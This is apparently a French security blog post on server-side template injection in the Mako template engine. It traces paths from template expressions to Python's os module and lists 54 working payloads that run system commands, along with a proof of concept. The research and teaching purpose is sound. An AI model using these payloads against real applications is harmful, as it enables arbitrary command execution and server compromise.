Python context-free payloads pour les templates Mako
Introduction
Quelques semaines auparavant, je présentais un article sur l’exécution de commandes dans les templates Jinja2 dans lequel j’ai construit des payloads indépendantes du contexte et permettant d’accéder au module os
à tous les coups. Aujourd’hui, je vous présente un autre moteur de templates, Mako.
Le moteur de templates Mako est utilisé dans le framework web Pylons and Pyramid et sur le site reddit.com
Phase de reconaissance
La première étape est d’aller chercher des éléments intéressants dans le code source du module. Pour ce faire, il faut installer Mako (python3 -m pip install mako
), et taper les lignes suivantes dans un interpréteur Python pour obtenir l’emplacement du module :
# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> import mako
>>> mako.__file__
'/usr/local/lib/python3.10/site-packages/mako/__init__.py'
>>>
Le module Python comporte très peu de fichiers et est organisé de la manière suivante :
mako/
├── __init__.py
├── _ast_util.py
├── ast.py
├── cache.py
├── cmd.py
├── codegen.py
├── compat.py
├── exceptions.py
├── ext
│ ├── __init__.py
│ ├── autohandler.py
│ ├── babelplugin.py
│ ├── beaker_cache.py
│ ├── extract.py
│ ├── linguaplugin.py
│ ├── preprocessors.py
│ ├── pygmentplugin.py
│ └── turbogears.py
├── filters.py
├── lexer.py
├── lookup.py
├── parsetree.py
├── pygen.py
├── pyparser.py
├── runtime.py
├── template.py
└── util.py
Elements intéressants
Notre but étant de trouver dans quels fichiers est importé le module os
, on va utiliser la commande suivante:
root@fb55bf594db4:/usr/local/lib/python3.10/site-packages/mako# grep -Rni 'import os' .
./util.py:12 :import os
./ext/autohandler.py:28 :import os
./template.py:11 :import os
./template.py:180 : import os
./lookup.py:7 :import os
Ils nous serviront par la suite pour créer des chemins directs vers le module os
depuis l’objet TemplateNamespace
.
Exploration des chemins dans le module Mako
TemplateNamespace
Pour construire cette payload, nous allons partir de l’objet TemplateNamespace et essayer de connecter les chemins à ces modules via les objets Python.
>>> from mako.template import Template
>>> print(Template("${self}").render())
<mako.runtime.TemplateNamespace object at 0x7f1174fcac50>
>>>
La première chose que nous pouvons remarquer c’est que l’objet TemplateNamespace
est déclaré dans le sousmodule mako.runtime
(fichier runtime.py
). Allons donc voir le début de ce fichier pour trouver les import
intéressants :
Un premier chemin vers os depuis TemplateNamespace
# mako/runtime.py
# Copyright 2006-2020 the Mako authors and contributors <see AUTHORS file>
#
# This module is part of Mako and is released under
# the MIT License: http://www.opensource.org/licenses/mit-license.php
"""provides runtime services for templates, including Context,
Namespace, and various helper functions."""
import functools
import sys
from mako import compat
from mako import exceptions
from mako import util
from mako.compat import compat_builtins
Voilà des résultats très intéressants ! Nous avons accès au sousmodule util
(fichier util.py
) dans le sousmodule runtime
. Or nous avons vu plus haut que le module os
est importé dans le fichier util.py
. Nous allons donc y accéder en deux étapes.
Première étape, accéder au sous module util
. Pour ce faire nous allons utiliser la technique du .__init__.__globals__
. Nous partons de l’instance self
de l’objet TemplateNamespace
puis nous remontons à son constructeur self.__init__
. Ensuite a partir du constructeur, nous allons remonter au dictionnaire __globals__
contenant toutes les variables globales du fichier (et par conséquent les modules importés). Il nous suffit ensuite d’accéder à la clé 'util'
des __globals__
et nous arrivons dans le module util
. Enfin il ne nous reste plus qu’a faire un ['util'].os
pour accéder au module os
de ce sous module. La payload finale devient donc :
>>> print(Template("${self.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
Ce chemin vers os était le plus évident à trouver, mais nous pouvons en trouver d’autres !
Introspection sur TemplateNamespace
Pour aller plus loin et trouver de nouveaux chemins, nous devons lister les attributs de self
:
>>> print(Template("${f(self)}").render(f=dir))
['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
'include_file', 'inherits', 'module', 'name', 'template', 'uri']
Nous allons itérer sur les attributs de l’objet pour afficher son nom et son type à chaque fois. Pour ce faire il faut utiliser ces quelques lignes de python, permettant de regénérer une template à chaque fois et d’afficher son résultat:
subkeys = [
'__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattr__', '__getattribute__', '__gt__', '__hash__', '__init__',
'__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__',
'__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__',
'__subclasshook__', '__weakref__', '_get_star', '_populate', '_templateuri', 'attr',
'cache', 'callables', 'context', 'filename', 'get_cached', 'get_namespace', 'get_template',
'include_file', 'inherits', 'module', 'name', 'template', 'uri'
]
for subkey in subkeys:
try:
print(Template("%s => ${f(self.%s)}" % (subkey, subkey)).render(f=type))
except Exception as e:
pass
Et nous obtenons :
__class__ => <class 'type'>
__delattr__ => <class 'method-wrapper'>
__dict__ => <class 'dict'>
__dir__ => <class 'builtin_function_or_method'>
__doc__ => <class 'str'>
__eq__ => <class 'method-wrapper'>
__format__ => <class 'builtin_function_or_method'>
__ge__ => <class 'method-wrapper'>
__getattr__ => <class 'method'>
__getattribute__ => <class 'method-wrapper'>
__gt__ => <class 'method-wrapper'>
__hash__ => <class 'method-wrapper'>
__init__ => <class 'method'>
__init_subclass__ => <class 'builtin_function_or_method'>
__le__ => <class 'method-wrapper'>
__lt__ => <class 'method-wrapper'>
__module__ => <class 'str'>
__ne__ => <class 'method-wrapper'>
__new__ => <class 'builtin_function_or_method'>
__reduce__ => <class 'builtin_function_or_method'>
__reduce_ex__ => <class 'builtin_function_or_method'>
__repr__ => <class 'method-wrapper'>
__setattr__ => <class 'method-wrapper'>
__sizeof__ => <class 'builtin_function_or_method'>
__str__ => <class 'method-wrapper'>
__subclasshook__ => <class 'builtin_function_or_method'>
__weakref__ => <class 'NoneType'>
_get_star => <class 'method'>
_populate => <class 'method'>
_templateuri => <class 'str'>
attr => <class 'mako.runtime._NSAttr'>
callables => <class 'tuple'>
context => <class 'mako.runtime.Context'>
filename => <class 'NoneType'>
get_cached => <class 'method'>
get_namespace => <class 'method'>
get_template => <class 'method'>
include_file => <class 'method'>
inherits => <class 'NoneType'>
module => <class 'module'>
name => <class 'str'>
template => <class 'mako.template.Template'>
uri => <class 'str'>
Quelques lignes semblent particulièrement intéressantes :
attr => <class 'mako.runtime._NSAttr'>
context => <class 'mako.runtime.Context'>
module => <class 'module'>
template => <class 'mako.template.Template'>
Pour l’attribut attr
, nous savons qu’il se situe dans le sousmodule mako.runtime
qui contient un import vers le sous module mako.util
qui luimême importe os
. Nous pouvons donc y accéder directement comme ceci:
>>> print(Template("${self.attr.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
De la même manière pour l’attribut context
situé dans le même sousmodule mako.runtime
:
>>> print(Template("${self.context.__init__.__globals__['util'].os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
En répétant l’opération sur chaque attribut et ses sous attributs nous pouvons trouver une grande quantité de chemins vers os
!
Payloads finales
En explorant tous les atttributs sur une profondeur de 8 niveaux au maximum, j’ai pu trouver 54 accès directs au module os
dans Mako, permettant d’y accéder à tous les coups. Les voici :
${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
En voici la preuve de concept :
# Python 3.10.0rc1 (default, Aug 17 2021, 15:17:02) [GCC 10.2.1 20210110] on linux
# Type "help", "copyright", "credits" or "license" for more information.
>>> from mako.template import Template
>>> print(Template("${self.module.cache.util.os}").render(f=dir))
<module 'os' from '/usr/local/lib/python3.10/os.py'>
>>>